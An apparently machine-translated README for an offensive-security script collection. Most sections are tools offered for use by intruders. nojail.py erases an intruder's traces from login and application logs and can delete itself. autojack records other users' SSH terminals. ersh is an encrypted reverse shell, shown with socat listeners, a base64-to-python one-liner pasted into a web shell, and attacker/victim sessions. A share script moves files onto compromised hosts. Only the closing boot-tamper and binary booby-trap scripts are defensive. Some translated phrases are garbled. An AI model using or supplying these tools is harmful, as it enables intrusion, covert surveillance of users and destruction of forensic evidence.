该存储库包含在您的自由斗争活动中可能会派上用场的脚本。当我发现自己需要在网上找不到的东西时,它将偶尔更新。这里的所有内容均根据GPL V3许可证的条款分发。
贡献和拉力请求非常欢迎。
删除罪犯条目的日志清洁器:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(控制who
, w
和last
命令的输出)/var/log/lastlog
(控制lastlog
命令的输出)/var/**/*.log
等)根据IP地址和/或关联的主机名删除条目。
特殊护理是为了避免在篡改日志时打破文件描述符。这意味着在被篡改之后,将继续写入日志,从而使清洁量变得不那么明显。所有工作都在TMPFS驱动器中进行,并且创建的任何文件均已安全地擦除。
警告:该脚本仅在Linux上进行了测试,无法清洁其他UNIX口味上的UTMP条目。
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
默认情况下,如果没有给出任何参数,则脚本将尝试根据SSH_CONNECTION
环境变量确定擦洗的IP地址。匹配该IP的反向DN的任何条目也将被删除。
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
...将删除用户根的所有条目,其中IP地址为151.80.119.32或Hostame是manalyzer.org
。由于--check
选项,还将在删除每个记录之前提示用户。最后,除了所有默认的文件外,还将处理文件/etc/app/logs/access.log
。
如果给出文件夹为位置参数( /etc/app/logs/
logs/logs),则脚本将递归爬网,并使用.log
扩展名( *.log.1, *.log.2.gz等)清洁任何文件。 包括)。
您可能还需要从日志文件中删除任意行。为此,请使用--regexp
选项。例如,以下命令行将从指定的IP中寻找对PHP文件的所有发布请求:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
假设这是从SSH连接运行的,则此命令将删除与当前用户活动有关的所有日志,并在关闭连接后立即使用检测到的IP地址和主机名。此脚本随后将自动删除自身。请记住,您将没有机会从应用程序中接收错误消息。鼓励您在产生恶魔之前尝试一次删除日志,以确保您指定的参数正确。如果您在没有TTY的外壳中,则该脚本将无法检测到会话何时结束。您会收到通知您将在60秒内删除日志,并且应该在此之前注销(或冒着在脚本运行后创建更多条目的风险)。
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
提供此脚本无保证。不要怪我,它并没有擦除您首先不应该做的事情的所有痕迹。
便携式和安全的文件共享脚本。在自由战斗的同时,通常无法将SCP档案放入受损的机器中。需要上传文件的其他方法,但是大多数共享服务要么过于限制,要么不提供轻松从命令行检索文件的方法。安全考虑也可能会阻止人们将敏感文件上传到云提供商,因为他们担心他们会永远保留它的副本。
这个小的和便携式的bash脚本依赖于转移。SH解决该问题。它...
torify
。唯一需要的依赖项是openssl
和curl
或wget
。
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
上传期间的其他参数使您可以控制文件( -m
)允许的最大下载次数,以及多少天传输。SH将保留它( -d
)。这两个选项的默认值为1。
警告:请勿在加密密钥中使用空格,或仅考虑密码的第一个单词。这是由于getopts
处理参数的方式(我认为)。如果有人有兴趣解决此问题,欢迎拉动请求。
Autojack是一个简短的脚本,利用了emptymonkey的ShellJack来记录通过SSH连接的任何用户的终端。它观看auth.log
的成功连接,弄清楚用户bash
过程的pid,然后将其余的剩下的人留给shelljack
。
在屏幕上启动它,然后等到其他用户登录。他们的会话将记录到/root/.local/sj.log.[user].[timestamp]
。
该脚本不是特别隐秘(没有试图隐藏shelljack
过程),但可以完成工作。请注意,为了避免自我想象, root
用户不是针对的(可以在代码中对此进行琐碎的评论)。
ListUrl是一个多线程网站crawler,从目标获取可用页面的列表。该脚本对于试图建立Web应用程序的攻击表面的错误欧洲猎人很有用。
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
这是一个小网站的示例输出:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
--exclude-regexp
和--show-regexp
选项用于控制哪些URL应显示或忽略。例如,在上面的示例中,您可能需要忽略可能非常相似的页面:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
请注意,匹配的URL不会被爬行。当脚本在深入的评论页面或重复性内容中丢失时,这特别有用。或者,您可能只对php脚本感兴趣: ./listurl.py --show-regexp ".php$"
。
默认情况下,爬虫仅深3级。这是您可以使用--max-depth
选项控制的东西。
另一个考虑因素是是否应遵循指向外部域的URL。默认情况下,脚本没有,但是您可以通过设置--external
Switch来启用此功能。如果您对随机外部域不感兴趣,但仍希望将爬网扩展到子域,则可以设置--subdomains
Switch:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
请注意,如果脚本花费太长,您可以随时按CTRL+C关闭。然后,您将显示到目前为止发现的页面。
如果您需要在网站上访问身份验证的页面,则可以通过命令行提供--cookie
cookie。
最后,如果您在拥有无效或自签名的SSL证书的网站上工作,请使用--no-certificate-check
选项忽略SSL错误。
ersh
是用Pure Python编写的加密反向外壳。曾经在没有标准公用事业或编译工具的盒子里,也没有简单的方法可以上传二进制文件?您是否害怕ID会注意到出站外壳?因为您按下^C
而意外关闭了NetCat的听众?不再遭受。
ersh
提供以下功能:
有关此工具如何实现的更详细讨论,请参阅此博客文章。
此脚本需要在工作之前进行编辑!在开始附近寻找此标记:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
HOST
和PORT
是自称的,但是您可能需要SSL证书的其他帮助。但是,没有人愿意与OpenSSL的客户作斗争,因此您可以使用以下单线:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
就是这样!现在,您应该在当前文件夹中有五个新文件: server.(crt|key|pem)
和client.(crt|key)
。其中一些需要插入脚本中,以便反向外壳和听众可以相互验证。具体来说:
client_key
应该包含client.key
的内容。client_crt
应包含client.crt
的内容。server_crt
应包含server.crt
的内容。就是这样,不再需要编辑。
考虑到将进行全面的TLS协商,传统的nc
听众在这里不够。由于能够处理加密和TTY,因此选择了socat
执行此任务。在基于Debian的发行版中,您应该能够通过简单地运行sudo apt-get install socat
来获得它。
假设您仍在生成密钥和证书的文件夹中,并且您想在端口443上收听,则是您应该在机器上运行的命令行:反向外壳将到达:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
您无需将脚本复制到远程计算机才能工作。这是一种从非相互作用的外壳运行的简单方法。将整个脚本复制到剪贴板上,并在受害者身上运行以下命令:
python - <<'EOF'
[paste script contents here]
'EOF'
如果您试图从不支持多条线的环境(例如怪异)启动ersh.py
,也可以尝试生成这样的单线:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
在接收机上:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
受害者:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
再次在接收器上:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
该剧本的编写是为了检测邪恶的女仆攻击。它通过在启动时检查硬盘驱动器是否已启动而不是OS(例如,如果将其从计算机中取出以获取副本,或者是否有人试图启动机器但被FDE密码停止)来做到这一点(例如)。
您需要确保此脚本将在每个启动下运行。以下说明将使用SystemD进行分发。
/etc/systemd/system/
。根据需要修复其内部的路径。脚本将作为根本运行,因此请确保它不是世界上的可写!#> systemctl enable boot_check.service
安装依赖项:
#> apt install smartmontools dialog
一次运行脚本,以便初始化:
#> ./boot_check.py
如果出现确认消息,那么您就可以了。
如果要确保脚本有效,请确保执行以下操作:
创建此脚本是为了提供一种简单的方法来“ BOOBY-TRAP” Linux系统上的某些可执行文件。这个想法是在他们不拥有的服务器上使用某些二进制文件( id
, whoami
, gcc
)时检测入侵者。
要保护这些二进制文件,请notify_hook.py
创建与该PATH
更高脚本的符号链接。然后, notify_hook
将向您发送警报,并以透明的方式拨打预期的程序。例如,如果要“保护” id
,只需在计算机上创建以下符号链接:
ln -s path/to/notify_hook.py /usr/local/bin/id
...以及所有未来对id
的电话都应通过此脚本进行路由。这显然不是发现系统上黑客的万无一失的方法,但是它应该抓住最粗心的入侵者。
系统上的某些程序和脚本可能会定期调用您希望保护的一些二进制文件。在这种情况下,您可以编辑位于脚本开头的称为CALLER_WHITELIST
的变量。将这些过程的名称放在列表中,以禁用它们的警报(接受正则表达式)。
本脚本中实现的当前通知方法是通过Asamk的信号CLI发送的文本消息。如果要使用它,则需要单独安装此项目,或者更有可能将Notify_callback函数替换为notify_hook.py
上的notify_callback
函数,并使用适合您的需求的任何东西。